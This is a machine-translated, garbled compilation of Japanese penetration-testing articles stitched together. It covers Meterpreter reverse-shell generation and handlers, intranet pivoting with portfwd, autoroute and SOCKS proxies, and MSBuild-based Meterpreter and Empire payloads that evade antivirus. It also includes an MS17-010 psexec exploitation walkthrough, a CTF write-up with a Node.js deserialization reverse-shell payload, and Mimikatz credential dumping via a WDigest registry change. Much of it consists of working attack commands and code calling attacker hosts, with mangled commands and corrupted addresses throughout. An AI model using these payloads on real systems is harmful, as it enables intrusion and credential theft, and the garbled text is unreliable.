MSFPayload Windows/x64/meterpreter/reverse_tcp lhost=113。***。*。238 lport=12345 r | MSFENCODE -T ASPX -O/MEDIA/SF_SYSTEM LEANDING/test.aspx 1049983-20220119230421525-1723716798.jpgMSFCONSOLELは、リスニング関連のオプションを構成し、新しく生成されたtest.aspxリバウンドスクリプトをWebサイトのWebディレクトリにアップロードし、ブラウザにアクセスしてターゲットホストセッションを取得します。

root@box3:〜#msfconsolemsfの使用exploit/multi/handlermsf exploit(handler)set payload windows/x64/meterpreter/reverse_tcpmsf exploit(handler)set lhost 192.168.1.7msf exploit(handler)set lport 12345msf exploit(handler)exploit(handler)set lport 1049983-20220119230422036-1382544953.jpg次に、データベースサーバー192.168.0.206のPortfWDコマンドをイントラネットで転送し、3389リモート端子に正常に接続できます。関連するコマンドパラメーターは次のとおりです。その時にスクリーンショットを撮るのを忘れていました!

MeterPreter Portfwd Add -L 1234 -P 3389 -R 192.168.0.206 [*]ローカルTCPリレーCreated: 0.0.0.033601234-192.168.0.20633603389

usage: portfwd [-h] [add |削除|リスト|フラッシュ] [args]削除リストの更新パラメーターを追加します

options: -hヘルプバナー。 //help -lローカルホストを選択して聴く(オプション)。 //ローカルIPアドレス-Lローカルポートを選択してリッスンします。 //ローカルポート番号-Rリモートホストを選択して接続します。 //リモートIPアドレス-pリモートポートを選択して接続します。 //リモートポート番号次に、SOCKS4Aプロキシを使用してMSFに接続する場合、イントラネットの3389について説明します。 Socks4Aプロキシを開く前に、最初にMeterPreterセッションを取得し、次にSocks4Aモジュールを直接使用してプロキシを有効にし、デフォルトで実行する必要があります。

MSF Auxiliary(Socks4a)auxiliary/server/socks4amsf Auxiliary(socks4a)set srvhost 127.0.1msf Auxiliary(socks4a)run [*]補助モジュール実行完了completedmsf Auxiliary(socks4a)[*] Proxychains Proxyツールを構成するには、 /etc/proxychains.confファイル1080」の下部に「socks4127.0.0.0.1」を追加する必要があります。SOCKS4AモジュールのSRVHOSTおよびSRVPORTパラメーターが一貫していることを確認する必要があります。

root@box3:〜#VI /etc/proxychains.conf socks4aプロキシを有効にし、プロキシチャインプロキシツールを構成します。現時点では、プロキシProxy Proxy MSF/NMAP/SQLMAP/NESSUS/MYSQL/SQSH/RDESKTOP/FTP/SSHおよびターゲットイントラネットの他のホストを使用して、コマンド末端のターゲットイントラネットの他のホストをスキャンおよびテストすることができます。

root@box3:〜#proxychains msfconsole root@box3:〜#proxychains rdesktop 192.168.0.206注:socks4a proxyが有効になっている場合、正常に使用できない場合、それはファイアウォールの問題である可能性があります。この時点では、SRVHOSTパラメーターを127.0.0.1に設定してみてください。デフォルトは0.0.0.0、ポートは1080です。エージェントの開口部とプロキシツールを混同しないことを忘れないでください。

2014-07-28:もう一度テストした後、元の方法を使用して跳ね返ることができないことがわかりました。その後、Reduh_gui、reverse_tcp 80ポート.およびその他の方法を試しました。データはすべて接続されており、TCP接続ステータスは次のとおりでしたが、接続は許可されていないか、セッションが跳ね返られませんでした。

1049983-20220119230423135-1078225441.jpgの最終的なブレークスルーとその後のアイデア:LCX.EXEツールを使用してポート80をローカルに監視し、192.168.0.206データベースサーバーに入った後にSymantec Defenseソフトウェアを無効にし、MSF攻撃ペイロードを実行し、Intranetの他のホストをさらに侵入します。

0x05セグメントCとシステムバージョンのオープンポートを取得

現在のセッションでは、get_local_subnetsスクリプトを使用してローカルサブネットセグメントを取得し、Kaliローカルマシンでルーティングテーブルを確立してクロスルーティングアクセスを実現します。これにより、MSFフレームワークの下のモジュールを使用して、ターゲットイントラネットの他のホストをスキャンおよびテストできます。

MeterPreter Run get_local_subnetslocal subnet: 192.168.0.0/255.255.255.0meterpreter run autoroute -s 192.168.0.0/255.255.255.0 [*] 59。***。**。66 [*] -pオプションを使用して、すべてのアクティブルート//1はセッションのセッションIDです。ルーティングされたときに間違いを犯さないでください! MSFエクスプロイト(ハンドラー)ルート追加192.168.0.0 255.255.255.0 1 //このモジュールは、Cセグメントホスト全体のポート開口部を簡単に検出でき、後の浸透テストで簡単にできるようになります。

ここで、著者は主にこれらの一般的なポートをスキャンします:21/22/445/1433/3306/3389デモンストレーション。他のより一般的なポートは次のとおりです。23/25/80/110/135/1521/8080/14147/43958など。

MSFエクスプロイト(ハンドラー)使用補助/スキャナー/ポートスキャン/TCPMSF補助(TCP)SET RHOSTS 192.168.0.1-254MSF補助(TCP)セットポート21,22,445,1433,3306,3389MSF Auxilary(TCP)セット(TCP)50MSPINIS(TCP)SESWS SWANDS 1049983-20220119230423634-212612390.jpgが遅すぎる場合は、スレッドを適切に増やすことを選択できます。スキャンプロセス中にしばらく待つ必要があります。終了後、ホストやサービスなどのコマンドパラメーターを使用して、スキャン結果を表示できます。前提は、PostgreSQLデータベースに接続することです。ポートスキャンの結果は、下の図に示すように示されています。

1049983-20220119230424147-617421606.jpg次のモジュールを使用して、生存ホスト、システムバージョン、ソフトウェアバージョン、コンピューター名、MACアドレス、ワーキンググループまたはドメインなどに関する情報を検出することもできます。

補助/スキャナー/ポートスキャン/TCP

補助/スキャナー/ポートスキャン/ACK

補助/スキャナー/ポートスキャン/syn

補助/スキャナー/ftp/ftp_version

補助/スキャナー/ssh/ssh_version

補助/スキャナー/SMB/SMB_Version

補助/スキャナー/DNS/DNS_AMP

補助/スキャナー/http/タイトル

補助/スキャナー/http/http_version

補助/スキャナー/telnet/telnet_version

補助/スキャナー/mysql/mysql_version

補助/スキャナー/postgres/postgres_version

補助/スキャナー/netbios/nbname

補助/スキャナー/netbios/nbname_probe //削除

補助/スキャナー/ディスカバリー/arp_sweep

補助/スキャナー/ディスカバリー/udp_probe

補助/スキャナー/ディスカバリー/udp_sweep

[.切り取り.]

0x06共通サービスブルートフォースモジュール

サードパーティ、SSH/RDP、さまざまなWebサイト/データベース、テキスト、またはテーブルに保存されているユーザーパスワードを含む、より多くのユーザー、パスワード、およびその他の情報を収集するホストに関する情報を収集し、それらを分析して、ルールまたは共通の可能性があるかどうかを確認します。ある場合は、ルールに基づいて効率的な辞書を生成し、次のモジュールをブラストと利用に使用できます。写真は@offsecから来ています!

注:この記事を再編集する際には、一部のモジュールも新しく追加されています。彼らは再編成されているので、なぜそれらのいくつかをしないのですか?強迫性障害が再び行われます!これらも頻繁に使用します。マスターに他の一般的に使用されるモジュールがある場合は、それらを追加することもできます。

auxiliary/scanner/ftp/anonymousauxiliary/scanner/ftp/ftp_loginaauxiliary/scanner/ssh/ssh_loginaauxiliary/scanner/ssh/ssh_login_pubkeyauxiliary/dos/windows/ftp/filezilla_admin_userauxiliary/dos/windows/ftp/filez Illa_server_portpost/windows/ghather/credentials/flashfxppost/windows/ghather/credentiencys/smartftppost/windows/credentiences/wsftp_clientpost/windows/credentiences/filezilla_serverpost/windows/ghatcher/c Redentions/xshell_xftp_passwordpost/multi/graching/filezilla_client_credaauxiliary/scanner/smb/smb_loginaauxiliary/admin/smb/upload_fileexploit/windows/smb/psexecexploit/windows/smb/ms08_067_nepiaiary/scann ER/SMB/SMB_MS17_010EXPLOIT/WINDOWS/SMB/MS17_010_PSEXECAUXILIARY/ADMIN/SMB/MS17_010_COMMANDEXPLOIT/WINDOWS/SMB/MS17_010_ETERNALBLUEEXPLOIT/WINDOWS/SMB/SMB/SMB/Web/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb/smb /smb/infacket/wmiexecauxiliary/admin/mysql/mysql_enumauxiliary/admin/mysql/mysql_sqlauxiliary/scanner/mysql/mysql_login AAUXILIARY/SCANNER/MYSQL/MYSQL_LOGINAOUXILIARY/SCANNER/MYSQL/MYSQL_HASHDUMPEXPLOIT/WINDOWS/MYSQL/MOFEXPLOIT/MULTI/MYSQL/MYSQL/mysql_udf_payloadauxiliary/admin/mssql/mssql_enumauxiliary/admin/mssql/mssql_execauxiliary/admin/mssql/m ssql_sqlauxiliary/admin/mssql/mssql_escalate_dbownerauxiliary/scanner/mssql/mssql_pingauxiliary/scanner/m SSQL/MSSQL_LOGINAAUXILIARY/SCANNER/MSSQL/MSSQL_HASHDUMPEXPLOIT/MSSQL/MSSQL_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR_CLR/MSSQL_PAYLOADEXPLOIT/WINDOWS/MSSQL/MSSQL_PAYLOADEXPLOIT/MSSQL_PAYLOADEXPLOIT s/ghatcher/enum_termservpost/windows/ghather/credentials/mremoteauxilary/scanner/rdp/ms12_020_checkauxiliary/dos/windows/rdp/ms12_020_maxchannelidsauxiliary/scanner/rdp/cve_2019_0707070708_blueeepexploit/rdpeepexploit/rdpeepexploit

1。 msbuild.exeの紹介

Microsoft Build Engineは、アプリケーションを構築するためのプラットフォームです。 MSBuildとも呼ばれるこのエンジンは、ビルドプラットフォームがソフトウェアを処理および構築する方法を制御するプロジェクトファイルのXMLスキーマを提供します。 Visual StudioはMSBuildを使用しますが、Visual Studioに依存しません。 MSBUILD.EXEをプロジェクトまたはソリューションファイルで呼び出すことにより、Visual Studioがインストールされていない環境でプログラムをコンパイルおよび生成できます。

Visual StudioはMSBuildを使用して、管理されたプロジェクトをロードおよび生成します。 Visual Studio(.csproj、vbproj、vcxprojなど)のプロジェクトファイルには、msbuild xmlコードが含まれています。

2。攻撃方法

1。最初の方法:MSFVENOMを使用して、CSHARPファイルを生成します

Microsoft Visual Studioを使用して、MSBuild形式で保存されてMSBuildプラットフォームを使用して実行可能なものにコンパイルする *.CSPROJサフィックスを使用して、C#(Cシャープ)プログラミングプロジェクトを作成します。

悪意のあるプログラムが生成および実行されると、被害者ホストのリバースシェルを取得できます。そのため、file.csprojファイルを生成し、このために、最初にMSFvenomを介してC#のシェルコードを生成します。次に、以下に示すように、シェルコードがfile.csprojに配置されます

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.109 LPORT=1234 -F CSHARP

kkxgxqshabi8360.png

上記のシェルコードはXMLファイルに配置する必要があります。 GitHubからこのXMLファイルをダウンロードできます。 MSBuildによってコンパイルおよび実行されたコードがあります。このXMLファイルは、file.csprojとして保存する必要があり、meterpreterセッションを取得するにはmsbuild経由で実行する必要があります。

注:下の図に示すように、シェルコードからシェルコード値を交換し、BUFをシェルコードに変更します:axzbbx1dunu8361.png

Visual StudioまたはコマンドウィンドウからMSBuildを実行できます。 Visual Studioを使用すると、NETフレームワークの任意のバージョンでアプリケーションを実行およびコンパイルできます。

たとえば、32ビットプラットフォームで.NETフレームワーク2.0でコンパイルされたアプリケーションを実行し、64ビットプラットフォームで.NETフレームワーク4.5で同じアプリケーションをコンパイルして実行できます。複数のフレームワークにコンパイルされたタスクは、マルチオブジェクトと呼ばれます。

msbuildの詳細については、この記事のリンクをご覧ください:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015

次に、MultiProcessorを起動してMeterPreterセッションを取得し、ターゲットパスC: \ Windows \ Microsoft.net \ Framework \ V4.0.30319でmsbuild.exeを使用してfile.csprojファイルを実行します。

c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exefile.csproj

注:悪意のあるエクスプロイト(xml/csproj)c: \ windows \ microsoft.net \ framework \ v4.0.30319 \この場所で保存する必要があります。

qt225c3ykly8362.png

Exploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

ご覧のとおり、次のように、被害者のメータープレターセッションがあります。

exbuwpa4xql8363.png

2。 2番目の方法:XMLファイルを生成して、MSBUILD

を利用します

上記のように、MSBuildはXMLベースのプロジェクトファイル形式を使用します。これはシンプルで拡張可能なため、生成されたfile.csprojをfile.xmlに変更し、図に示すようにMSBUILD.EXEを使用してMSBUILD.EXEを使用してfile.xmlを再度実行できます。

c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exefile.xml

3ujnowxrzzh8364.png

Exploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

ご覧のとおり、次のように、被害者のメータープレターセッションがあります。

bjo0dpltehs8365.png

3。 3番目の方法:nps_payloadスクリプト

このスクリプトは、基本的な侵入検出エスケープのペイロードを生成します。いくつかの異なるソースからの公共技術を利用しています。 Larry Spohn(@spoonman1091)によって書かれたペイロードは、dirty_benとしても知られるベンマウチ(@ben0xa)によって書かれています。 Githubからダウンロードできます。

NPS_Payloadは、MSBUILD.EXEおよびMSHTA.EXEを使用して実行できるペイロードを生成し、MeterPreterセッションを通じて被害者ホストの逆の接続を取得します。

以下の手順に従って、ペイロードを生成します。

GithubからNPS Exploitをダウンロードした後、/NPS_Payload.pyスクリプトを実行します

1を入力して、「MSBUILD/NPS/MSFFを生成する」オプションを選択します

もう一度入力して、ペイロードオプション「Windows/MeterPreter/Reverse_TCP」を選択します

これにより、XMLファイルでペイロードが生成され、このファイルがターゲットロケーションC: \ Windows \ Microsoft.net \ Framework \ v4.0.30319に送信されます。これは、以前の方法と同じで、新しい端末で同時にリスナーを開始します。

msfconsole -r msbuild_nps.rc

xv54y3y4csw8366.png

次に、上記の手順を繰り返し、コマンドプロンプトを使用してmsbuild_nps.xmlを実行し、次のようにmeterpreter経由で逆の接続を取得します。

c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exemsbuild_nps.xml

3js0h03lhtd8367.png

4。 4番目の方法:Powershell Empire

次のMSBuild攻撃方法では、帝国を使用します。帝国は開発後のフレームワークです。これまでのところ、XMLツールをMetasploitに一致させてきましたが、このアプローチではEmpire Frameworkを使用します。これは単なるPythonベースのPowerShell Windowsプロキシであり、非常に便利です。 Empireは、 @harmj0y、 @sixdub、 @enigam0x3、rvrsh3ll、 @killswitch_gui、@xorrierによって開発されています。このフレームワークはhttps://github.com/empireproject/empireからダウンロードできます。

帝国の基本ガイドを取得するには、記事をご覧ください。

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Empire Frameworkを開始した後、リスナーを入力して、アクティブなリスナーがいるかどうかを確認します。下の図に示すように、アクティブなリスナーはありません。したがって、リスナータイプを設定する必要があります

リスナー

USELISTNER HTTP

ホストhttp://192.168.1.107を設定します

実行する

上記のコマンドを使用すると、アクティブなリスナーが表示されます。戻ってリスナーを終了してPowerShellを開始します。

MSBUILD攻撃には、Stagerを使用します。帝国のStagerは、悪意のあるコードが感染したホストのプロキシを実行できるようにするコードです。したがって、このタイプの場合、次のコマンドを入力します。

UseStager Windows/Launcher_xml

リスナーhttpを設定します

実行する

UseStagerは、Launcher.xmlという名前の /TMPに保存される悪意のあるコードファイルを作成します。

jzbzbn030dt8368.png

ファイルが実行されると、リスナーで結果が表示されます。入力して被害者のファイルを実行します。

CD C: \ Windows \ Microsoft.net \ Framework \ v4.0.30319 \

msbuild.exe launcher.xml

lqvwh0npgw18369.png

セッションがあるかどうかを確認するには、入力コマンド「エージェント」を開きます。そうすることで、あなたが持っているセッションの名前が表示されます。セッションにアクセスするには、次のコマンドを入力します。

A8H14C7Lを操作します

上記のコマンドを使用すると、セッションにアクセスできます

sysinfo

ukvz2ahhhjk8370.png

5。 5番目の方法:greatsct

GreatSCTは、Metasploit Exploitを使用できるツールであり、ほとんどのアンチウイルスをバイパスできるようにします。 GreatSCTは現在、@ConsciousHackerによってサポートされています。ここからダウンロードできます:https://github.com/greatsct/greatsct

ダウンロードして実行した後、次のコマンドを入力してモジュールにアクセスします。

バイパスを使用します

0bxu4p0cfei8371.png

次に、ペイロードリストタイプを確認します。

リスト

wabsxr5amxg8372.png

これで、ペイロードリストから、任意のターゲットを選択して、目的の攻撃を実行できます。しかし、この攻撃では、次のことを使用します。

msbuild/meterpreter/rev_tcp.pyを使用します

cn4ptzxtzqy8373.png

コマンドを実行した後、次のコマンドを入力してください。

LHOST 192.168.1.107を設定します

生成する

jerolkl2bup8374.png

ペイロードを生成するとき、ペイロードの名前を提供するように依頼します。デフォルトでは、「ペイロード」をその名前として受け取ります。 MSBuildをエクスプロイト名として使用し、出力コードはXMLに保存されます。

jbvivaewk0z8375.png

これで、2つのファイルが作成されます。 Metasploit RCファイルと別のmsbuild.xmlファイル。

まず、次のコマンドを入力して、/usr/share/greatsct出力/ソースでpythonサーバーを起動します。

python -m simplehttpserver 80

auc0l3n2d0s8376.png

次のコマンドを入力して、被害者のファイルを実行します。

CD C: \ Windows \ Microsoft.net \ Framework \ v4.0.30319 \

msbuild.exe msbuild.xml

gfjc3agwllk8377.png同時に、リソースファイルを使用してマルチ/ハンドラーを起動します。これを行うには、次のコマンドを入力してください。

MSFCONSOLEL -R /USR/SHARE/GREATSCT OUTPUT/HANDLERS/PAYLOAD.RC

図:に示すように、メータープレターセッションがあります

x3sjcswjmoc8378.png

参照記事:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017

0x01序文

MS17-010のPSEXECは、Microsoft Windowsの最も人気のある2つの脆弱性を攻撃します。

CVE-2017-0146(EternalChampion/EternalSynergy) - トランザクションリクエストでレース条件を活用する

CVE-2017-0143(ETERNALROMANCE/ETERNALSYNERGY) - レバレッジタイプのwriteandxと取引リクエストの間の難読化

EternalBlueと比較して、このモジュールには高い信頼性と優先度があり、パイプライン名を匿名ログインに使用できます(通常、VistaおよびWild Domainコンピューターの前のすべてが比較的一般的です)。

0x02利用条件

Exploit/Windows/SMB/MS17_010_PSEXECを使用できるようにするため:

有効なユーザー名とパスワードを使用して、これらの主要な要件をバイパスできます

1.ファイアウォールは、SMBトラフィックが入力して終了することを許可する必要があります

2。ターゲットはSMBV1プロトコルを使用する必要があります

3.ターゲットには、MS17-010パッチが欠落している必要があります

4.ターゲットは匿名のIPC $およびパイプライン名を許可する必要があります

SMB MS17-010とPipe Auditor Assisted Scanモジュールを使用して、これらすべてを確認できます。

0x03オプション

AngementPipeオプション----デフォルトで要求されるモジュールは、利用可能なパイプラインのパブラインリストをスキャンします。名前でパイプライン名を指定できます。

leakattempts option ---オプションは、脆弱性の安定性dbgtraceオプションを確保するために使用されます---オプション、デバッグ用に1に設定することをお勧めします。

smbuserオプション---オプション、win10上に有効なWindowsユーザー名を設定する必要があります

SMBPASSオプション----オプション、Win10の上に制限されたWindowsパスワードを設定する必要があります

0x04テスト結果

1。最初に、スキャナー/SMB/PIPE_AUDITORモジュールを使用して、ターゲットネットワークセグメントホストの利用可能なパイプライン名をスキャンします。スキャンされたWindows 2003パイプライン名のほとんどは匿名です。より多くのパイプライン名をスキャンする必要がある場合は、利用可能なユーザー名とパスワードを提供する必要もあります。

cjnj4nxp0el9099.jpg

2。ターゲットホストのパイプ名192.168.99.240を見ることができます。

41brdgdmgea9100.jpg

3. MSFの下のExploit/Windows/SMB/MS17_010_PSEXECモジュールを介して、さらなる浸透が実行されます(MSFUPDateコマンドで更新するか、MSFを再ダウンロードしてインストールする必要があります)

nxblkkoiprc9101.jpg

4.ここでは、ターゲットホストIPアドレス、ポート、パイプライン名を設定する必要があります

bwo4bavxgy19102.jpg

5.最後に、ターゲットホストのshell:が正常に取得されました

5htgwojk3xp9103.jpg

0x01 序文

Moonrakerシステムを攻撃し、最大の脅威の脆弱性を見つけ、最大の脅威の脆弱性を通じてターゲットマシンシステムを攻撃し、最大の脅威の脆弱性を通じてシステムのルートディレクトリのフラグ情報を取得します。

MoonRaker: 1ミラーダウンロードアドレス:

http://drive.google.com/open?id=13b2ewq5yqre2ubklxz58uhtlfk-shvma

0x02情報コレクション1。存続するホストルート@kali2018:/#arp -scan -lをスキャン

w0rb3gky11k8498.png

見つかった192.168.1.10は、ターゲットマシンシステムです

2。ポートスキャンNAMPスキャンターゲットマシンポート

root@kali2018:〜#nmap -p -a 192.168.1.10 -open

2019-02-11 16:21 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.10のNMAPスキャンレポート

ホストはアップ(0.00077Sレイテンシ)です。

表示されていません: 65529閉じたポート

ポートステートサービスバージョン

22/TCP Open SSHOPENSSH 7.4P1 Debian 10+Deb9U4(プロトコル2.0)

| ssh-hostkey:

| 2048 5F:BF:C03:3:5133604F:4A:A7:4A:7E:153:03:AA3333:D7:2A)

| 256 5:5933608733601E:A4336046:BD:A73360FD:9A:5F:F933:B7333:9DSE)

| _ 256 0D:883360D9:FA:AF:083:CE3:2B:133:6:A73:703:(ed eded

80/TCP Open HTTPAPACHE HTTPD 2.4.25((Debian))

| http-robots.txt: 1無効エントリ

| _/

| _http-server-header: apache/2.4.25(debian)

| _HTTP-TITLE: MOONRAKER

3000/TCP Open httpnode.js Expressフレームワーク

| http-auth:

| http/1.1 401不正\ x0d

| _ BASIC RELM=401

| _HTTP-TITLE:サイトにはタイトルがありません(text/html; charset=utf-8)。

4369/TCPオープンEpmderlangポートマッパーデーモン

| EPMD-INFO:

| EPMD_PORT: 4369

| nodes:

| _ couchdb: 33681

5984/TCP Open CouchDB?

|フィンガープリントストリングス:

| FOROHFORREQUEST:

| HTTP/1.0 404オブジェクトが見つかりません

| CACHE-CONTROL:必見の再評価

| Connection:閉じます

| Content-Length: 58

| Content-Type:アプリケーション/JSON

|日付:月、2019年2月11日21336022:55 GMT

| server: couchdb/2.2.0(erlang otp/19)

| X-Couch-Request-ID: BF092A958F

| x-couchdb-body-time: 0

| {'error':'not_found'、 '理由':'databaseは存在しません。'}

| getRequest:

| HTTP/1.0 200 OK

| CACHE-CONTROL:必見の再評価

| Connection:閉じます

| Content-Length: 164

| Content-Type:アプリケーション/JSON

|日付:月、2019年2月11日21336022:02 GMT

| server: couchdb/2.2.0(erlang otp/19)

| X-Couch-Request-ID: F038A56575

| x-couchdb-body-time: 0

| {'couchdb':'welcome'、 'version ':'2.2.0'、 'git_sha':'2a16ec4'、 'feature ': [' pluggedable-storage-engines '、' scheduler ']、' bendor'3360

| httpoptions:

| HTTP/1.0 500内部サーバーエラー

| CACHE-CONTROL:必見の再評価

| Connection:閉じます

| Content-Length: 61

| Content-Type:アプリケーション/JSON

|日付:月、2019年2月11日21336022:02 GMT

| server: couchdb/2.2.0(erlang otp/19)

| X-Couch-Request-ID: FDEB1A3860

| X-Couch-Stack-Hash: 1828508689

| x-couchdb-body-time: 0

| _ {'error':'unknown_error'、 '理由':'badarg'、 'ref':1828508689}

evjoqm4xzhp8499.png

NMAPスキャン出力は、オープンポートサービスを表示します:22(SSH)、80(HTTP)、110(POP3)、3000(node.js)、4369(epmd)、5984(couchdb)

3。ディレクトリスキャン。ディレクトリスキャンを実行するには、GobusterとDirbusterが好みます。ここでは、Gobusterを使用してターゲットディレクトリスキャンを実行します。

スキャンが完了した後、疑わしいディレクトリが /サービスであることがわかりました

pox35aibxl18500.png

このディレクトリhttp://192.168.1.10/services/services/のリンクアドレスを開くと、Webページの下部にiniriryを送信するハイパーリンクが表示され、ハイパーリンクを開きます。

r22blvqy4sd8501.png

リンクを開いた後、アフターセールスの連絡先情報ページが表示されます。誰かが提出した情報を照会し、5分以内に私たちに連絡することに注意してください。

f2rnsjsjlpi8502.png

ここでは、IMGタグを使用して、リモートサービスのWebサイトアドレスをネストします。 (他のパーティがネストされたXSSにアクセスする限り、リモートサーバーのログが記録され、リクエストログレコードにアクセスします)

txa5xg4bsmk8503.png

情報を送信する前に、Apacheサービスを開始し、/var/www/htmlディレクトリで新しいテストファイルtest.txtを作成し、コンテンツを書き込みます。

root@kali2018:〜#/etc/init.d/apache2 start

[OK] Apache2を開始(SystemCtl経由): Apache2.Service。

root@kali2018:〜#cd /var /www

root@kali2018:/var/www#ls

HTML

root@kali2018:/var/www#cd html/

root@kali2018:/var/www/html#ls

index.html index.nginx-debian.html

root@kali2018:/var/www/html#vi test.txt

root@kali2018:/var/www/html#

Apacheサーバーをテストして、正常にアクセスします

du0nbtnmvew8504.png

次に、apache2 Access.logを使用して、ターゲットマシンWebサイトのロギングを表示できます。 [送信]をクリックした後、次の図に示されているように、ありがとう提出メッセージを表示しました。

gk3llp3pfyr8505.png

コマンド経由でapacheアクセスログを表示します

Tail -f /var/log/apache2/access.log

ログ:http://192.168.1.10/svc-inq/salesmoon-gui.phpで興味深いHTTP参照アドレスを見つけることができます

2irukb3ce1o8506.png

0x03脆弱性1.CouchDB情報コレクションBrowserでHTTP参照リクエストアドレスを開きます

34vsdvgxzr58507.png

次に、「販売管理バックエンドに戻る」のハイパーリンクが表示され、クリックして販売バックエンド管理ログインページに入ります。

bi2kzcfan3j8508.png

次に、couchdbnotesをクリックして、ユーザー名のパスワードに関するいくつかのプロンプトを取得します。

ユーザー名:ジョーズ、パスワード:ジョーズガールフレンド名+ x99

cda541ij0kd8509.png

ここでは、ジョーズのガールフレンドをグーグルします

yurppcgyvk28510.png

FauxtonシステムのApache CouchDBのユーザー名とパスワードが取得されました。 FauxtonとCouchDBの詳細については、Googel(http://docs.couchdb.org/en/stable/fauxton/install.html)を介してそれらの使用方法を検索できます。

bnzmokuqfuh8511.png

2.CouchDBログインと情報漏れは、ポート5984が開いているためです。 CouchDBログインページ(192.168.1.10:5984/_utils/)を開くことができます。

ここでは、次のようにログイン資格情報を使用します。

username:jaws

Password:Dollyx99

4uknlkj2or28512.png

ve3djwydnzm8513.png

正常にログインして、これらの3つのデータベースで情報を表示しましょう。

リンクデータベースはより多くの情報を公開します

ttxgci515np8514.png

1folzggohdb8515.png

qtdwwf4hqt28516.png

4t0im1403am8517.png

各リンクデータベースのドキュメントをチェックしてください。それぞれにはディレクトリリンクが含まれているためですが、3番目のディレクトリリンクは次の侵入に有用な情報を提供する場合があります。

m53xfapkefh8518.png

zeujv0wpso18519.png

したがって、3番目のドキュメントへの接続を開き、有用な接続ディレクトリ情報を表示します。

したがって、上記のリンクには、開いた後の人事オフィスメモの情報が表示されます(複数の人の重要な電子メール情報はここに記録されています)

0nz42zfcs5y8520.png

ユーザー名とパスワードがメールでリークされていることがわかります

zzjhs4tc13z8521.png

3.Node.js降下解像度http://192.168.1.10/Raker-Sales/BackEnd Managementページを開き、「Hugoのページがポート3Kに移動した」ページが興味深いことを見つけます(上記の人事メモ記録ページのHugoメール情報と組み合わせて)

nii4wqzw44s8522.png

このリンクを開いた後、node.jsサーバーとアクセスに関する情報を見ることができます

5tjrpnkztlr8523.png

Hugo's HR Email http://192.168.1.10/hr-Confidential/offer-letters.htmlのユーザー名とパスワード

jqjqy3h5djc8524.png

node.jsにログインするためのユーザー名とパスワードを表示します(ポート3000経由でアクセス)

uwrxknxu5py8525.png

ログインした後、node.jsサーバーは「set-cookie」メッセージを送信します。

febf16dc.png

node.jsの崩壊脆弱性については、このリンクアドレスを参照してください。

4.脱力化の脆弱性はNMAPスキャンから出力されます。ポート3000はnode.jsフレームワークアプリケーションであることがわかります。したがって、ブラウザにターゲットIPの3000ポートアプリケーションを開き、ログインユーザーインターフェイスをポップアップします。

username:hugo

Password:TemplelaserSl2K

cs32n5zetfv8527.png

ログインに正常にログインした後、ページにメッセージが表示されます。このページは役に立たないようですが、次に何をすべきかを理解するために時間をかけた後、非常に興味深いものになります。

gut4nqe2dak8528.png

F12を開始して、ページのリクエスト情報を表示します。 CookieでBase64エンコード情報を見ました。ここでは、base64エンコーディングにnode.jsのスターリア化の脆弱性を挿入します。

03cexhl5mcb8529.png

MSFvenomを使用してNodeJSリバウンドシェルを生成します

msfvenom -p nodejs/shell_reverse_tcp lhost=192.168.1.21 lport=1234

ターミナルからrce.jsにmsfvenomを出力します

RCE.JS:

var rev={

rce: function(){var require=global.require || Global.process.mainmodule.constructor._load; if(!require)return; var cmd=(global.process.platform.match(/^win/i))? 'cmd' : '/bin/sh'; var net=require( 'net')、cp=require( 'child_process')、util=require( 'util')、sh=cp.spawn(cmd、[]); var client=this; var counter=0; function stagerrepeat(){client.socket=net.connect(1234、 '192.168.1.21'、function(){client.socket.pipe(sh.stdin); if(typeof util.pump==='undefined'){sh.stdout.pipe(client.socket); util.pump(sh.stdout、socket); socket.on( 'error'、function(error){counter ++; if(counter=10){setimeout(){stagerrepeat();}、5*1000);} else process.exit();}); } stagerrepeat(); }

};

var serialize=require( 'node-serialize');

console.log(serialize.serialize(rev));

ノードrce.jsを実行して、シリアル化された文字列出力を取得します。

root@kali2018:/opt#node rce.js

{'rce':' _ $$ nd_func $$ _ f

1。 Mimikatzは、レジストリにLSA保護をバイパスするために変更を追加します(EDRとWDは当面とは見なされません)

Mimikatz原則:Mimikatzは、lsass.exeプロセスに保存されているプレーンテキストログインパスワードを逆に取得します。 (LSASS.EXEは、ローカルセキュリティおよびログインポリシーに使用されます)。まず、Mimikatzを使用する場合、クロールは管理者の権利でなければなりません。 Win10、Win11、Win2012およびその他のバージョンでは、システムがLSA保護を有効にし、PlantextパスワードフィールドにNULLが表示されます。最初のステップは、権限を増やすことです:特権:3360Debug。 2番目のステップは、クロールすることです。Sekurlsa3:logonpasswordspwiurnxzxeh743.pngLSA保護をオフにします。このログインのプレーンテキストパスワードは、LSASS.EXEプロセスに保存されます。 Mimikatzを使用して再びクロールして、Plantextパスワードを表示します。レジストリを復元すると、1から0を直接変更できます。コマンドの変更:reg hklm \ system \ currentControlset \ control \ securityproviders \ wdigest /v uselogoncredentient /t reg_dword /d 1 /f vyglgocjvbz744.pngしたがって、ミミカッツのために殺さない場合、たとえ静的すぎても、ハッシュアクションをバイパスするためにさまざまな姿勢を考慮する必要がありますが、これには間違いなく多くの時間がかかります。したがって、lsass.exeに保存されているプレーンテキストパスワードを取り出すことを検討し、ローカルミミカッツを介してパスワードを取得できます。実装:LSA保護がオフになり、管理者の権利が使用され、Microsoft Project 